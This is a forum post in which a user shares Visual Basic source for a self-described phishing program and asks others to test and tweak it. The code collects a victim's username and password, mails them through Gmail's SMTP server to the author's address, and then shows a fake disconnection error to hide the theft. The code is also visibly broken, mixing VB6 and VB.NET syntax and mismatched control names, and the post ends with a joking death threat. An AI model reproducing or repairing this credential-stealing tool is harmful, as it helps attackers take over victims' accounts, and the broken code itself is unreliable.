Hey guys :D I made a phishing program for someone, but since I have Visual Basic 6.0 Portable Edition I can't test it, because I'm pretty sure you need 2008 Express x.x
Just put your email where it says "Your Gmail" and your password where it says "Your Password" And run it and fill out the forum and see if it emails it to you xPCode:Private Sub Button1_Click()
If Text1.Text = "" Then
MsgBox ("Username Is Missing")
If Text2.Text = "" Then
MsgBox ("Password Is Mising")
If Text3.Text = "" Then
MsgBox ("Victims Username is Missing")
If Text4.Text = "" Then
MsgBox ("Your Email is Missing! Without this we cant email you the accounts password")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add ("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & Text1.Text & ", " & "Password : " & Text2.Text
smtpServer.Send (mail)
MsgBox ("DIsconnected From Server, Please try again later!")
End Sub
I need to test this but I don't know of a Visual Basic 2008 Express Edition Portable and I cant get the normal one.
If you guys could post results or help me test/tweak it that would be great :D
Thanks,
~Flareboy323
P.S. If you steal this code, I will hunt you down and kill you. At least give me credit?
